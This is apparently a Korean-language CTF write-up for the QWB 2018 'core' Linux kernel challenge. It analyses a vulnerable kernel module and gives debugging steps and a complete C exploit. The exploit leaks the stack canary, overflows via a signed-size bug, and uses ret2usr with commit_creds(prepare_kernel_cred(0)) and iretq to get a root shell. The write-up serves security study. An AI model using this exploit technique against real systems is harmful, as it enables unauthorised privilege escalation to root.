Search

[qwb2018] core

Last edited time
2022/01/07 12:48
tag
pwn
linux kernel
Category
CTF 문제들
Visibility
Public

1. 문제

참고로 익스코드는 인터넷에 올라온 롸업꺼를 쓰고 분석 위주로 작성했다.
1) 문제 확인
문제파일은 아래에서 다운받을수 있다.
커널 공부 후 첫 CTF 문제이다. 물론 롸업을 보면서 풀었다.ㅋ
우선 위 깃헙에서 문제파일들중 core_give.tar.gz 만 다운받고 압축을 풀면 아래와 같은 파일들이 나온다.
test 폴더는 신경쓰지말고 총 4개의 파일이 있다.
bzImage : vmlinux에서 명령어 set을 뽑아낸 빌드된 커널 이미지
core.cpio : 압축된 파일시스템
start.sh : 부팅 스크립트
vmlinux : 디버깅 심볼이 들어있는 elf
기본적으로 위 문제를 풀기위해선, qemu 설치위 vmware의 Vt-x/EPT 기능을 on 해야한다. 이제 부팅 스크립트를 살펴보자
qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./test/rootfs.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
C
복사
램은 기존 사이즈론 안되서 256으로 수정했다. 커널 이미지와 파일시스템 경로를 수정했고, append 옵션 뒤를 보면, kaslr이 있다. 따라서 해당 커널은 kaslr이 걸려고있고 나머지는 안걸려있다.
취약한 커널 모듈을 확인하기 위해 cpio로 압축된 파일시스템을 일단 추출해야한다.
gzip 형식이므로 core.gz로 확장자를 번경한뒤, gzip -d core.gz로 압축을 풀고, cpio -id -v < core 명령을 통해 파일들을 뽑아내면 된다. cpio 옵션은 다음과 같다
i : 압축해제 옵션
d : 없는 디렉토리는 생성
v : 파일명 목록을 출력
나는 따로 test 폴더를 만들어서 그 안에서 압축을 풀었다
보면 core.ko 커널 모듈이 들어가 있다. 요 모듈을 분석하면 된다
2) mitigation 확인
부팅 스크립트에 있다시피 kaslr 빼곤 안걸려있다.
3) 코드흐름 파악
__int64 init_module() { core_proc = proc_create("core", 438LL, 0LL, &core_fops); printk(&unk_2DE); return 0LL; }
C
복사
초기화 모듈을 보면 proc 하위에 core라는 디바이스 드라이버를 생성한다.
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) { __int64 v3; // rbx v3 = a3; switch ( a2 ) { case 1719109787: core_read(a3); break; case 1719109788: printk(&unk_2CD); off = v3; break; case 1719109786: printk(&unk_2B3); core_copy_func(v3); break; } return 0LL; }
C
복사
core_ioctl 함수가 호출되면, 두번째 인자로 들어온 값에 따라서 3가지로 분기를 한다. 1719109787 이면 core_read()가 호출되고, 1719109788 이면 a3를 off 변수에 담는다. 마지막으로 1719109789 이면 core_copy_func() 함수가 호출된다. a3에 off가 들어간다는걸 기억하자.
unsigned __int64 __fastcall core_read(__int64 a1) { __int64 user_buf; // rbx __int64 *v2; // rdi __int64 i; // rcx unsigned __int64 result; // rax __int64 v5; // [rsp+0h] [rbp-50h] unsigned __int64 v6; // [rsp+40h] [rbp-10h] user_buf = a1; v6 = __readgsqword(0x28u); printk(&unk_25B); printk(&unk_275); v2 = &v5; for ( i = 16LL; i; --i ) { *(_DWORD *)v2 = 0; v2 = (__int64 *)((char *)v2 + 4); } strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n"); result = copy_to_user(user_buf, (char *)&v5 + off, 64LL); if ( !result ) return __readgsqword(0x28u) ^ v6; __asm { swapgs } return result; }
C
복사
core_read() 함수에서 취약점이 하나 존재한다. copy_to_user() 함수는 user 공간의 값으로 커널영역의 값을 복사해오는 함수이다. 잘 생각해보면, 현재 카나리가 v6에 있고 v5과는 0x40 차이만큼 떨어져 있다.
만약 off에 0x40을 줄수 있다면 v5+0x40 = v6 즉, 카나리값이 user_buf로 저장될것이고 이 값이 return될것이다. 아까 core_ioctl() 함수에서 두번째 분기를 이용해서 off값을 컨트롤할수 있다. 따라서 core_read를 통해 카나리를 leak할수 있다. 우선 다음 함수도 살펴보자
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) { unsigned __int64 v3; // rbx v3 = a3; printk(&unk_215); if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) ) return (unsigned int)v3; printk(&unk_230); return 4294967282LL; }
C
복사
core_write() 함수를 보면, 3번째 인자로 들어온 값의 사이즈와 copy_from_user() 함수의 반환값을 체크한다. copy_from_user() 함수는 아까와는 반대로 user 영역의 값(a2)을 커널 영역(name)으로 복사하는 함수이다. name변수에 a2값이 저장된다는걸 기억하자.
signed __int64 __fastcall core_copy_func(signed __int64 a1) { signed __int64 result; // rax __int64 v2; // [rsp+0h] [rbp-50h] unsigned __int64 v3; // [rsp+40h] [rbp-10h] v3 = __readgsqword(0x28u); printk(&unk_215); if ( a1 > 63 ) { printk(&unk_2A1); result = 0xFFFFFFFFLL; } else { result = 0LL; qmemcpy(&v2, &name, (unsigned __int16)a1); } return result; }
C
복사
마지막인 core_copy_func() 함수이다. 인자로 들어온 a1이 63보다 작으면 qmemcpy() 함수가 호출되면서, a1만큼 name 영역의 값을 v2로 복사한다. name에는 core_write() 함수호출을 통해 원하는 값을 넣을수 있다.
이제 여기서 취약점이 터진다. 인자로 들어온 a1은 signed int64이기 때문에 조건문을 우회할수 있다. 즉 signed 최대 범위를 넘어으면 음수로 표현되고 조건문을 피해 else로 빠진다. 그리고 qmemcpy에서는 다시 unsgined로 캐스팅되어 절대값 그대로 사이즈가 들어간다.
즉, 해당 함수를 통해 bof가 발생하고, 첫번째 취약점을 통해 카나리로 ret값을 조작할수 있다

2. 접근방법

리눅스 커널 문제는 기본 포너블 문제와는 다르게 여러 세팅을 해줭야 한다. 우선, 위에서 말한 bof를 트리거해서 디버깅해보자. 트리거 코드는 다음과 같다.
컴파일 => gcc -o ex2 ex2.c -static ------------------------------------- #include <stdio.h> #include <fcntl.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #include <sys/ioctl.h> #include <unistd.h> #define read_num 1719109787 #define off_num 1719109788 #define write_num 1719109786 int main() { int fd = open("/proc/core",O_RDWR); char rop[0x100]; char canary[8]={0,}; if(!fd) { printf("[-] Failed to open /proc/core\n"); return -1; } printf("[+] Success to open /proc/core\n"); char val[8]={0,}; char str_buf[0x100]={0,}; ioctl(fd,off_num,0x40); ioctl(fd,read_num,str_buf); memcpy(canary,str_buf,8); memset(rop,0x41,0x40); memcpy(rop+0x40,canary,8); memset(rop+0x48,0x41,8); memset(rop+0x50,0x42,8); write(fd,rop,0x58); ioctl(fd,write_num,0xffffffffffff0000|sizeof(rop)); }
Bash
복사
이제 리눅스 커널을 디버깅하기 위해선 qemu의 -s 옵션이 존재해야한다.
qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./test/rootfs.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
C
복사
해당 문제에선 이미 s 옵션을 주어줬으므로 손댈껀 없다. 커널 디버깅 공부자료에서 했으므로 바로 진행하자. 아아아아 그전에 커널 디버깅에 필요한 추가적인 부분을 정리해야한다. 저 커널 디버깅 글에는 이 내용이 없다 ㅋ
우선 디버깅을 하기전에 아까 cpio 압축해제한 곳을 잘 보면 init 파일이 있다. 저기서 타임아웃되는 옵션을 늘리자.
#!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko poweroff -d 3000 -f & // 요부분 ! 3000으로 변경 setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f
C
복사
위 스크립트는 커널 부팅시에 설정되는 세팅들이다. 위 부분을 수정했다면, 다시 파일 시스템을 만들어줘야한다. 해당 문제에서 친절하게 gen_cpio.sh 스크립트를 만들어놨다. 저기 안을 들여다보면 알겠지만 간단하다. 만약 스크립트가 제공되지 않았다면 아래 명령어로 치면 된다
ls | cpio -o --format=newc > 이름아무거나.cpio
C
복사
여기선 gen_cpio.sh rootfs.cpio 이렇게 쳤고, rootfs.cpio가 생성됬으면, start.sh에서 -initrd 옵션의 경로를 맞춰준다.
-> start.sh 파일 일부 ... -initrd ./test/rootfs.cpio ...
C
복사
이제 start.sh를 실행시켜보자.
현재 uid=1000을 가진 chal user로 로그인이 되어있다. 우리의 목표는 취약점한 모듈을 이용하여 LPE를 하는 것이다.
$ ./start.sh // 터미널 새로 키고 $ gdb vmlinux $ target remote:1234 //qemu -s 옵션해놔서 가능한것 $ b* core_read
C
복사
??? 심볼이 없다고 뜬다. 음 이를 해결하기 위해선 KADR을 알아야 한다. KADR에 대해선 자세하게 따로 설명할 예정이다. 우선 간략히말하면
KADR(Kernel Address Display Restriction) 이란 말그대로 커널 영역의 주소 등의 정보를 보여주는데 제한을 거는 미티게이션이다. 예를 들어 공격자가 커널 취약점을 이용하여 익스를할때, 가젯, 커널 함수 주소 등의 정보가 필요한데, 이러한 정보들을 민간함 정보로 처리하여 일반 로컬 사용자에게는 보여주지 않는다.
민감한 정보중 하나인 심볼정보들은 /proc/kallsyms 파일인데, 여기에는 커널의 모든 심볼 목록을 보관하고 있다. 따라서 우리가 core.ko 모듈을 디버깅하기 위해선 저기서 core.ko 의 .text 시작주소를 얻어야한다. 하지만 이는 루트사용자만 얻을수 있고, 일반 사용자가 해당 파일을 확인하면 아래와 같이 모든 주소가 0으로 표시된다
/ $ cat /proc/kallsyms 0000000000000000 A irq_stack_union 0000000000000000 A __per_cpu_start 0000000000000000 T startup_64 0000000000000000 T _stext 0000000000000000 T _text 0000000000000000 T secondary_startup_64 0000000000000000 T verify_cpu 0000000000000000 T start_cpu0 0000000000000000 T __startup_64 0000000000000000 T __startup_secondary_64 0000000000000000 t run_init_process 0000000000000000 t try_to_run_init_process 0000000000000000 t initcall_blacklisted 0000000000000000 T do_one_initcall 0000000000000000 t match_dev_by_uuid 0000000000000000 T name_to_dev_t 0000000000000000 t rootfs_mount 0000000000000000 t bstat .....
C
복사
따라서 init 파일에서 uid 부분을 0으로 변경한뒤 다시 gen_cpio.sh를 이용하여 rootfs를 만들고 부팅을 해야한다. (또한 트리거 코드도 컴파일해서 gen_cpio.sh 와 동일 폴더에 넣어야함. 그래서 올라감.)
#!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko poweroff -d 3000 -f & setsid /bin/cttyhack setuidgid 0 /bin/sh // 1000 -> 0 으로 변경 echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f
C
복사
다시 부팅을 하고 확인을 해보면
/ # id uid=0(root) gid=0(root) groups=0(root) / # cat /proc/kallsyms 0000000000000000 A irq_stack_union 0000000000000000 A __per_cpu_start ffffffff9c000000 T startup_64 ffffffff9c000000 T _stext ffffffff9c000000 T _text ffffffff9c000030 T secondary_startup_64 ...
C
복사
아까와는 다르게 심볼주소들이 나와있다. 이상태에서 core_read 같은 함수 주소를 찾고, 거따가 bp를 걸어도되지만, 그렇게 되면 좆같다. 왜 좆같은지는 직접 해보시길...
따라서 core.ko 모듈의 코드영역 시작주소를 gdb에 등록해야한다. 이는 다음의 명령어로 확인 가능하다
/ # cat /sys/module/core/sections/.text 0xffffffffc00e1000
C
복사
이제 gdb에 붙고, core.ko 모듈의 코드시작주소를 등록해주자
pwndbg> gdb -q vmlinux pwndbg> target remote:1234 pwndbg> add-symbol-file ./core.ko 0xffffffffc0328000 add symbol table from file "./core.ko" at .text_addr = 0xffffffffc0328000 Reading symbols from ./core.ko...(no debugging symbols found)...done. pwndbg> b* core_read Breakpoint 1 at 0xffffffffc0328063 pwndbg> c
Bash
복사
c를 누른상태에서 qemu안에서 트리거 바이너리를 실행시키면 core_read함수에 bp가 걸린것을 확인할수 있다. 이제 디버깅하면 된다.

3. 풀이

두가지 취약점들만 확인해보자. 우선 ioctl()을 통해서 off에 0x40을 넣었다. 그 후 core_read()의 copy_to_user를 통해서 카나리가 user_buf에 들어갈것이다.
0xffffffffc01810cc <core_read+105> call 0xffffffffbbf26f10 <0xffffffffbbf26f10> //여기가 copy_to_user() 함수임 ► 0xffffffffc01810d1 <core_read+110> test rax, rax 0xffffffffc01810d4 <core_read+113> je core_read+120 <core_read+120> ↓ 0xffffffffc01810db <core_read+120> mov rax, qword ptr [rsp + 0x40] 0xffffffffc01810e0 <core_read+125> xor rax, qword ptr gs:[0x28] 0xffffffffc01810e9 <core_read+134> je core_read+141 <core_read+141> ↓ 0xffffffffc01810f0 <core_read+141> add rsp, 0x48 0xffffffffc01810f4 <core_read+145> pop rbx 0xffffffffc01810f5 <core_read+146> ret 0xffffffffc01810f6 <core_copy_func> push rbx 0xffffffffc01810f7 <core_copy_func+1> mov rbx, rdi ──────────────────────────────────────────────[ STACK ]────────────────────────────────────────────── 00:0000│ rsp 0xffffaa728011fe18 ◂— push rdi /* 0x20656d6f636c6557; 'Welcome to the QWB CTF challenge.\n' */ 01:0008│ 0xffffaa728011fe20 ◂— je 0xffffaa728011fe91 /* 0x5120656874206f74; 'to the QWB CTF challenge.\n' */ 02:0010│ 0xffffaa728011fe28 ◂— push rdi /* 0x6320465443204257; 'WB CTF challenge.\n' */ 03:0018│ 0xffffaa728011fe30 ◂— push 0x656c6c61 /* 0x65676e656c6c6168; 'hallenge.\n' */ 04:0020│ 0xffffaa728011fe38 ◂— 0xa2e /* '.\n' */ 05:0028│ 0xffffaa728011fe40 ◂— 0 ... ↓ ────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────── ► f 0 ffffffffc01810d1 core_read+110 f 1 20656d6f636c6557 f 2 5120656874206f74 f 3 6320465443204257 f 4 65676e656c6c6168 f 5 a2e f 6 0 ───────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/gx 0x7fff69af5870 0x7fff69af5870: 0xd703bd88f97c0600 // 요게 user_buf
Bash
복사
카나리가 user_buf에 잘들어갔다. 이제 core_copy_func() 함수의 qmemcpy를 봐보자.
leak한 카나리를 잘 넣어서 우회가 되었고 ret위치에 0x42...가 들어가있는걸 확인할수 있다. 여기서부터가 이제 중요하다. 기존에 풀었던 포너블 문제처럼 시스템함수로 조지면 안되고, ret2usr라는 기법을 이용해서 해당 문제를 풀어야한다.

ret2usr 기법

해당 기법은 커널 영역의 코드가 유저영역의 코드를 실행 할 수 있다는 것을 이용한 기술이다. 코드영역 실행권한에 대한 미티게이션이 없기 때문에 가능하다. 우선 LPE를 위해서 commit_creds, prepare_kernel_cred 두 함수를 이용해야한다. 이는 전에 설명했으므로 따로 설명은 안하겠다.
즉 커널 영역에서 위 두개의 함수를 이용하여 root 권한의 자격증명을 준비하고, system 함수를 유저영역에서 실행시키는 기법이다. 쉽게 보면 다음과 같다
commit_creds(prepare_kernel_cred(NULL)); system("/bin/sh");
Bash
복사
흐름만 이렇다는거지 저렇게 rop하면 안된다. 일단, commit_creds, prepare_kernel_cred 함수의 주소를 알아야한다. 위에서 말한것처럼 유저모드에선 cat /proc/kallsyms 을 통해 주소를 얻을수 없다.
하지만 init 파일을 자세히 보면
... cat /proc/kallsyms > /tmp/kallsyms ...
Bash
복사
요라인이 있다. 따라서 유저도 /tmp/kallsyms을 이용해서 위 두개의 함수주소를 얻을수 있다. 그럼 이제 커널영역에서 유저영역의 코드를 실행시키기 위한 작업을 해야한다.
커널영역이든 유저영역이든 각자의 스택을 가지고 있다. 자세한 설명은 여기를 참조하자.
공부한 내용을 기억해보면, 보통 유저영역에서 시스템콜을 하게되면 커널영역으로 주도권이 넘어가고 그때 다시 유저로 돌아오기위해 그때의 레지스터 같은 정보들을 pcb에 저장한다고 했다. 반대로 커널에서 유저로 잠시 넘어갈때도 동일하다.
이처럼 지금은 우리가 강제로 ret2usr를 진행시키려는 것이므로 우리가 직접 스택 포인터 복원 기능을 추가 해야한다. 복원 기능은 iret 명령어를 이용하면 된다.
iret 명령어는 인터럽트로 중단 된 프로그램 또는 프로시저(procedure)로 프로그램 제어를 반환하는 명령어이다 즉, iret 명령어가 실행되면, 대피시킨 PC 값을 복원하여 이전 실행 위치로 복원한다.
따라서 필요한 스택 레이아웃을 미리 유저단에서 ret값을 조정하기 전에 백업해두고, iret 를 이용해서 백업한 스택 레이아웃을 복구시키는 과정을 거치면 된다.
Search
Stack Layout
32bit
64bit
COUNT5
우선 어셈코드를 이용해서 스택 레이아웃에 필요한 레지스터 값을 tf 구조체에 저장하는 함수를 구현한다. → set_trapframe()
struct trap_frame { void *user_rip; // instruction pointer uint64_t user_cs; // code segment uint64_t user_rflags; // CPU flags void *user_rsp; // stack pointer uint64_t user_ss; // stack segment } __attribute__((packed)); struct trap_frame tf; ... void set_trapframe() { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" "mov tf+32, ss;" ); tf.user_rip = &shell; printf("[+] Finish made trap frame.\n"); }
C
복사
그 다음 실제 ret 위치에 들어갈 payload 함수를 구현한다.
void shell() { printf("[+] Get shell.\n"); execl("/bin/sh","sh",NULL); } void payload() { commit_creds(prepare_kernel_cred(0)); asm("swapgs;" "mov %%rsp, %0;" "iretq;" : : "r" (&tf)); }
C
복사
payload() 함수의 어셈부분은 아직 완벽히 모르겠다. 대충 tf 구조체에 저장한 값을 가지고 iretq를 통하여 복원시키는 기능이라고 보면 된다. 참고로 32bit에서는 아래와 같이 어셈을 짜면 된다
void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("mov $tf, %esp;" "iret ;"); }
C
복사
64bit에서 swapgs 부분을 없애면 General Protection Fault 에러가 난다. 이를 해결하기 위해 SWAPGS 명령어를 이용하여 GS레지스터 값 변경이 필요하다. - SWAPGS 명령어는 GS.base의 값을 MSR의 KernelGSbase(C0000102H) 값과 교환하는 명령어입니다.
정리를 하면 최종 시나리오는 다음과 같다.
1.
유저공간 즉 익스코드에서 ret 변경을 하기 전에 set_trapframe() 함수를 호출하여 현재 유저공간의 스택 포인터를 백업한다.(tj 구조체에)
2.
그다음 익스코드에서 payload를 인자로하여 write함수를 호출한다
그러면 실제 커널 모듈인 core_write() 가 호출되며 name 변수에 payload를 저장한다
3.
그다음 익스코드에서 현재 유저 영역의 스택 포인터를 백업한다. → set_trapframe() 함수
4.
그다음 익스코드에서 인티저 오버플로우 사이즈를 인자로 ioctl()을 호출한다
그러면 실제 커널 모듈인 core_copy_fucn()가 호출되며 bof가 일어나고, core_copy_func() 함수의 ret값이 payload 함수로 조작된다.
5.
(참고로 지금 커널영역에서 진행됨) payload 함수가 호출되면서 root 권한의 자격증명을 가져와 권한상승을 일으킨뒤, iretq 명령을 이용해 아까 백업한 스택 포인터를 백업한다.
6.
그러면 현재 커널 영역에서 유저영역에서 저장한 스택 포인터들이 복원되고, 그중 rip도 복원되어 해당 rip가 다음에 실행된다
7.
우리는 아까 백업시에 rip에 shell() 함수주소를 넣었다.
참고로 해당 기법은 해당 커널 주소에 실행권한이 있어야지 가능함. 이 문제에선 실행권한이 있음.
자 간단히 디버깅으로 살펴보자. 아래는 ret가 payload함수 주소로 변경된 사진이다.
pwndbg> x/50i 0x400d6b => 0x400d6b: push rbp 0x400d6c: mov rbp,rsp 0x400d6f: push rbx 0x400d70: sub rsp,0x8 0x400d74: mov rbx,QWORD PTR [rip+0x2bb64d] # 0x6bc3c8 0x400d7b: mov rax,QWORD PTR [rip+0x2bb64e] # 0x6bc3d0 0x400d82: mov edi,0x0 0x400d87: call rax // prepare_kernel_cred 0x400d89: mov rdi,rax 0x400d8c: call rbx // commit_creds 0x400d8e: lea rax,[rip+0x2bb60b] # 0x6bc3a0 0x400d95: swapgs 0x400d98: mov rsp,rax 0x400d9b: iretq
C
복사
payload 함수 어셈을 보면, 자격증명 세팅을 위한 함수 2개가 각각 호출되는걸 볼수 있다. 그다음 swapgs 명령후, rax에 들어있는 tf 구조체 변수 주소를 rsp에 넣는다.
*RAX 0x6bc3a0 —▸ 0x400cfc ◂— push rbp *RBX 0xffffffffb1c9c8e0 ◂— push r12 /* 0x4025248b4c655441 */ RCX 0x0 *RDX 0x3fffffffff *RDI 0xffff942e4f080e40 ◂— 2 *RSI 0x3f *R8 0x100000001 *R9 0x0 *R10 0x0 *R11 0x0 R12 0xffff942e4900f7a0 ◂— mov dh, 0x81 /* 0x581b6 */ R13 0x6677889a R14 0xffffffffffff0100 R15 0x0 *RBP 0xffffafe04011fe68 ◂— add byte ptr [rcx], al /* 0xffffffffffff0100 */ *RSP 0xffffafe04011fe58 ◂— 0x296 *RIP 0x400d98 ◂— mov rsp, rax ─────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────── ► 0x400d98 mov rsp, rax 0x400d9b iretq ... ───────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/20gx 0x6bc3a0 0x6bc3a0: 0x0000000000400cfc 0x0000000000000033 0x6bc3b0: 0x0000000000000206 0x00007ffdee8b8dd0 0x6bc3c0: 0x000000000000002b 0xffffffffb1c9c8e0 0x6bc3d0: 0xffffffffb1c9cce0 0x0000000000000000
C
복사
현재 rax(0x6bc3a0) 가 tf 구조체 주소이다. 0x400cfc가 백업된 rip이다. iretq 가 호출되면 rip가 저걸로 변경될것이다. 다음 rip는 0x400d9b이다
pwndbg> si pwndbg> si ERROR: Could not find ELF base! 0x0000000000400cfc in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────── RAX 0x6bc3a0 —▸ 0x400cfc ◂— push rbp RBX 0xffffffffb1c9c8e0 ◂— push r12 /* 0x4025248b4c655441 */ RCX 0x0 RDX 0x3fffffffff RDI 0xffff942e4f080e40 ◂— 2 RSI 0x3f R8 0x100000001 R9 0x0 R10 0x0 R11 0x0 R12 0xffff942e4900f7a0 ◂— mov dh, 0x81 /* 0x581b6 */ R13 0x6677889a R14 0xffffffffffff0100 R15 0x0 RBP 0xffffafe04011fe68 ◂— add byte ptr [rcx], al /* 0xffffffffffff0100 */ *RSP 0x7ffdee8b8dd0 —▸ 0x7ffdee8b9010 —▸ 0x401d10 ◂— push r15 *RIP 0x400cfc ◂— push rbp ─────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────── ► 0x400cfc push rbp 0x400cfd mov rbp, rsp 0x400d00 lea rdi, [rip + 0x914f1] 0x400d07 call 0x410c10 <0x410c10> 0x400d0c mov edx, 0 0x400d11 lea rsi, [rip + 0x914ef] 0x400d18 lea rdi, [rip + 0x914eb] 0x400d1f mov eax, 0 0x400d24 call 0x4494f0 <0x4494f0> 0x400d29 nop 0x400d2a pop rbp
C
복사
rip가 변경된걸 확인할수 있다!. 저기는 get_shell() 함수이다. 따라서 커널영역 → 유저로 넘어와 쉘이 관리자 권한으로 떨어질것이다.
참고로 디버깅 다하고 실제로 익스할때는 init 스크립트의 uid값을 다시 1000으로 변경하자.
익스코드
#include <stdio.h> #include <fcntl.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #include <sys/ioctl.h> #include <unistd.h> #define read_num 1719109787 #define off_num 1719109788 #define write_num 1719109786 unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); struct trap_frame { void *user_rip; // instruction pointer uint64_t user_cs; // code segment uint64_t user_rflags; // CPU flags void *user_rsp; // stack pointer uint64_t user_ss; // stack segment } __attribute__((packed)); struct trap_frame tf; unsigned long kallsym_getaddr(const char* str) { FILE* fd; char fbuf[256]; char addr[32]; fd=fopen("/tmp/kallsyms","r"); memset(fbuf,0,sizeof(fbuf)); while(fgets(fbuf,256,fd) != NULL) { char *p = fbuf; char *a = addr; if(strlen(fbuf) == 0) { continue;} memset(addr,0x00,sizeof(addr)); fbuf[strlen(fbuf)-1] = '\0'; while(*p != ' ') {*a++ = *p++;} p += 3; if(!strcmp(p,str)) { fclose(fd); return strtoul(addr, NULL, 16); } } } void shell() { printf("[+] Get shell.\n"); execl("/bin/sh","sh",NULL); } void set_trapframe() { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" "mov tf+32, ss;" ); tf.user_rip = &shell; printf("[+] Finish made trap frame.\n"); } void payload() { commit_creds(prepare_kernel_cred(0)); asm("swapgs;" "mov %%rsp, %0;" "iretq;" : : "r" (&tf)); } int main() { int fd = open("/proc/core",O_RDWR); char rop[0x100]; char canary[8]={0,}; if(!fd) { printf("[-] Failed to open /proc/core\n"); return -1; } printf("[+] Success to open /proc/core\n"); char val[8]={0,}; char str_buf[0x100]={0,}; ioctl(fd,off_num,0x40); ioctl(fd,read_num,str_buf); memcpy(canary,str_buf,8); commit_creds=kallsym_getaddr("commit_creds"); prepare_kernel_cred=kallsym_getaddr("prepare_kernel_cred"); printf("[+] commit_creds : 0x%lx\n",commit_creds); printf("[+] prepare_kernel_cred : 0x%lx\n",prepare_kernel_cred); //0x40 + canary + 0x10 + rip memset(rop,0x41,0x40); memcpy(rop+0x40,canary,8); memset(rop+0x48,0x41,8); *(void**)(rop+0x50) = &payload; set_trapframe(); write(fd,rop,0x58); ioctl(fd,write_num,0xffffffffffff0000|sizeof(rop)); }
C
복사
/ $ id uid=1000(chal) gid=1000(chal) groups=1000(chal) / $ ./ex [+] Success to open /proc/core [*] Canary @ 00024815AD3C27F0 [+] commit_creds : 0xffffffffb2c9c8e0 [+] prepare_kernel_cred : 0xffffffffb2c9cce0 [+] Finish made trap frame. [+] Get shell. / # id uid=0(root) gid=0(root)
C
복사

4. 몰랐던 개념

정리해야할 것들
KADR
swapgs 어셈
해당 문제를 rop로 풀어보기
참고자료